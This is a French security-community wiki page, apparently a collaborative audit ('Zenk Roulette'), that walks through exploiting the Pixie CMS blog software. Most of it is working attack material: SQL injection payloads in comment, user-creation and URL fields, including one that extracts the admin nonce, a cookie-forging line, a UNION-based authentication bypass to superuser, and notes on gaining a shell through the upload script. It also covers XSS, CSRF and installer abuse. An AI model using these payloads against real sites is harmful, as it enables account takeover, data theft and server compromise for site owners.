Outils d'utilisateurs

Outils du Site


zenk_roulettes:zenk_roulette_1

Zenk Roulette 1 Pixie CMS

Nous avons choisis l'appli : Pixie, un CMS de site ou blog très léger (PHP/MySQL) –> http://www.getpixie.co.uk/

Des XSS ici où là… (Un peu partout en fait :/)

Un déni de service si le répertoire install n'a pas été effacé : Une fois installé, si on relance l'installation en mettant ce que l'on veut comme user/password/database, cela réecrit le fichier config. Or comme les données que l'on a rentré sont fausses, le fichier config est vide. Donc il n'est plus possible d'avoir accès au blog.

Toujours dans le cas où le dossier install est présent, on peut obtenir des informations sur la configuration du serveur à l'url

/admin/install/upgrade.php.

Enfin pour la dernière fois dans ce même cas, http://localhost/pixie/admin/install/createuser.php permet de créer un utilisateur de n'importe quel niveau (meme admin et super user)

Un script d'upload étant intégré dans la partie admin :

 /admin/?s=publish&x=filemanager 

On peut se faire un shell facilement.

Une XSRF sur le panneau d'administration : http://localhost/pixie/admin/index.php?s=settings&x=site On peut créer un formulaire en reprenant les paramètres de celui-ci et en forçant l'admin à le soumettre.

Les noms des backups dans http://localhost/pixie/files/sqlbackups sont prévisibles. Ils sont de la forme jour_mois_annee-heure-minute-seconde On pourrait donc autoriser la recherche des backups via un script de brute force.

Pour les SQL injections : Dans createuser.php sur tout les champs, possibilités d'extraction de data depuis un ON DUPLICATE KEY puis lecture du profil de l'utilisateur

uname=test&realname=bla&email=lol&privs=3' ON DUPLICATE KEY UPDATE biography = (SELECT @@version)%23&user_new=Create

Puis consultation du profil sur http://localhost/pixie/admin/index.php?s=myaccount&x=myprofile

Sur le champ s :

 http://localhost/pixie/?s=blog'AND(IF(1=1,SLEEP(5),2))%23 

–> Pas d'espace donc contrainte, mais utilisable pour les blinds

Sur le champ edit :

 http://localhost/pixie/admin/?s=publish&m=static&x=about&edit=1 and 1=1
 http://localhost/pixie/admin/?s=publish&m=static&x=about&edit=1 and 1=2

Dans les commentaires sur n'importe quel champs : Dans le champ commentaire par exemple,

lol', comments_id=1337 

créer un comm avec l'id que l'on souhaite et

', comments_id=1337 ON DUPLICATE KEY UPDATE comment=@@version# 

pour exploiter. Cette faille est très pratique pour faire des SQLi sans être grillé Smile On poste un commentaire bidon, un d'exploitation par dessus, puis un dernier faisant “réel” par dessus.

A l'assaut du compte admin :

Le script d'authentification par cookie

function auth_check() {
    global $lang;
    if (isset($_COOKIE['pixie_login'])) {
        list($username, $cookie_hash) = explode(',', $_COOKIE['pixie_login']);
        $nonce = safe_field('nonce', 'pixie_users', "user_name='$username'");
        if (md5($username . $nonce) == $cookie_hash) { // check nonce
            $privs    = safe_field('privs', 'pixie_users', "user_name='$username'"); // login is good, create user
            $realname = safe_field('realname', 'pixie_users', "user_name='$username'");
            if (isset($realname)) {
                $GLOBALS['pixie_real_name'] = $realname;
            }
            if (isset($privs)) {
                $GLOBALS['pixie_user_privs'] = $privs;
            }
            $GLOBALS['pixie_user'] = $username;
            return '';
        } else { // something's wrong
            $GLOBALS['pixie_user'] = '';
            setcookie('pixie_login', '', time() - 3600);
            $message = $lang['bad_cookie'];
            return $message;
        }
    } else {
        $GLOBALS['pixie_user'] = '';
        setcookie('pixie_login', '', time() - 3600);
    }
} 

Deux méthodes, mais un seul résultat

* La mienne (moins t4pz que la prochaine) On récupère le nonce de l'admin via la SQLi des commentaires par exemple,

', comments_id=1 ON DUPLICATE KEY UPDATE comment=(SELECT nonce FROM pixie_users WHERE user_name='pixie')#

ou user_id=1

On concatène le pseudo et le nonce, on fait un md5 du tout. Et enfin, on créé un cookie avec pixie_login=pseudo_admin%2Chash_md5 ex via l'url :

javascript:void(document.cookie="pixie_login=pseudo_admin%2Chash_md5")

Un ptit refresh et on est admin

<sh4ka>vi mais y'a plus leet \o/ et sans une deuxieme sqli sh4ka (pff quelle t4pz celui-là…)

* Méthode de sh4ka

$nonce = safe_field('nonce', 'pixie_users', "user_name='$username'"); 

On contrôle $username, on peut donc injecter et faire retourner ce que l'on veut. En mettant

lol' UNION SELECT '3

dans $username, $nonce sera égal a 3. On a donc

$username = "lol' UNION SELECT '3" et $nonce ="3" 

On a plus qu'à calculer md5(“lol' UNION SELECT '33”) pour bypass le if. La requête suivante récupère le niveau de privilège et le realname en se basant une nouvelle fois sur $username. Donc ici lol' UNION SELECT '3 Soit $privs = 3 et $realname = 3 Nous sommes donc authentifiés en superuser (niveau 3).

Le script d'upload nous permettra ensuite de se faire un shell.

Lien original :: http://forum.zenk-security.com/thread-1539.html

zenk_roulettes/zenk_roulette_1.txt · Dernière modification: 2017/04/09 15:33 (modification externe)